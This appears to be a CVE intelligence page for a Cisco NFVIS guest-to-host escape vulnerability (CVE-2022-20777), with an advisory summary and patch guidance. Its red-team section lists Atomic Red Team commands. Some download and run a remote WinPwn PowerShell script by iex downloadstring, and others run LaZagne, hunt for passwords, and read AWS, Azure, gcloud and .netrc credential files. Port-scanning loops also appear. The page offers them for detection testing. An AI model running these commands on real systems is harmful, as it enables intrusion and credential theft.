CVE-2022-20777
Overview
The vulnerabilities in Cisco Enterprise NFV Infrastructure Software stem from improper access control and insufficient privilege restrictions within the virtualization host-guest boundary. Specifically, the affected components fail to adequately isolate guest virtual machines from the host system, enabling unauthorized command injection and data leakage via privileged interfaces. These flaws relate to privilege escalation and unauthorized information disclosure mechanisms in the NFVIS virtualization management stack.
Vulnerability Description
Multiple vulnerabilities in Cisco Enterprise NFV Infrastructure Software (NFVIS) could allow an attacker to escape from the guest virtual machine (VM) to the host machine, inject commands that execute at the root level, or leak system data from the host to the VM. For more information about these vulnerabilities, see the Details section of this advisory.
Impact
An attacker with authenticated access to a guest VM can escalate privileges to root on the host machine, execute arbitrary commands, and exfiltrate sensitive host system data. This enables full host compromise from within the virtualized environment, facilitating lateral movement and persistent control over the infrastructure. The attack requires network access and at least low-level privileges inside the VM (PR:L) but no user interaction (UI:N). The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) reflects remote network exploitation with high impact on confidentiality, integrity, and availability.
Solution
Cisco has released patches addressing these vulnerabilities in the Enterprise NFV Infrastructure Software as detailed in advisory cisco-sa-NFVIS-MUL-7DySRX9. Users should upgrade to the fixed NFVIS versions provided in the advisory and apply all recommended security updates promptly. The advisory includes specific version numbers and installation instructions to remediate privilege escalation and data leakage issues. Refer to the Cisco Security Advisory at https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-NFVIS-MUL-7DySRX9 for detailed patching guidance.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerabilities present in Cisco Enterprise NFV Infrastructure Software expose significant risks by allowing attackers to escape from guest virtual machines (VMs) to the host environment. This escape can enable unauthorized command execution at the root level, which is particularly concerning given the elevated privileges associated with root access. The vulnerabilities stem from flaws in the virtualization layer that fails to adequately isolate the guest VMs from the host system. This lack of proper containment can lead to various malicious activities, including command injection and data leakage, where sensitive information from the host can be accessed by the compromised VM.
Attack vectors for exploiting these vulnerabilities are diverse and can be executed through various means. An attacker could leverage social engineering tactics to gain access to a vulnerable VM, subsequently exploiting the flaws to execute arbitrary commands on the host. Additionally, if an attacker can deploy a malicious VM within the same environment, they could initiate a series of attacks that exploit the vulnerabilities to gain root access. This could lead to a complete compromise of the host system, allowing for further attacks on other VMs or the underlying infrastructure. The potential for lateral movement within a network increases the severity of the threat, as attackers could pivot to other systems and services that rely on the compromised infrastructure.
The real-world impact of these vulnerabilities is profound, particularly for organizations that rely on Cisco's NFV infrastructure for critical operations. The ability to escape from a VM to the host not only jeopardizes the integrity of the data but also poses a significant business risk. Organizations could face severe financial losses due to operational downtime, data breaches, and the costs associated with incident response and recovery. Furthermore, the reputational damage resulting from a successful attack could lead to a loss of customer trust and potential legal ramifications, especially if sensitive customer data is exposed. The high CVSS score of 9.9 indicates that the vulnerabilities are critical and should be prioritized for remediation.
To detect and mitigate these vulnerabilities, organizations should implement a multi-layered security approach. Regular vulnerability assessments and penetration testing can help identify weaknesses in the virtualization environment. Additionally, organizations should ensure that they are running the latest version of the Cisco Enterprise NFV Infrastructure Software, as updates often include patches for known vulnerabilities. Employing network segmentation can also limit the potential impact of an attack by isolating critical systems from less secure environments. Furthermore, monitoring for unusual activity within the VMs and the host can provide early warning signs of exploitation attempts, allowing for timely intervention.
In conclusion, the vulnerabilities in Cisco's NFV Infrastructure Software represent a critical threat to organizations utilizing this technology. The potential for VM escape, command injection, and data leakage underscores the need for robust security measures and proactive management of the virtualization environment. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves to defend against these sophisticated threats. Effective detection and mitigation strategies will be essential in safeguarding sensitive data and maintaining the integrity of the overall infrastructure.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Cisco | Enterprise Nfv Infrastructure Software | All |
cpe:2.3:a:cisco:enterprise_nfv_infrastructure_software:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-20777 |
| tools.cisco.com |
GitHub CVE
vendor-advisory
x_refsource_CISCO
|
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-NFVIS-MUL-7DySRX9 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/orangecertcc/security-research/security/advisories/GHSA-v56f-9gq3-rx3g |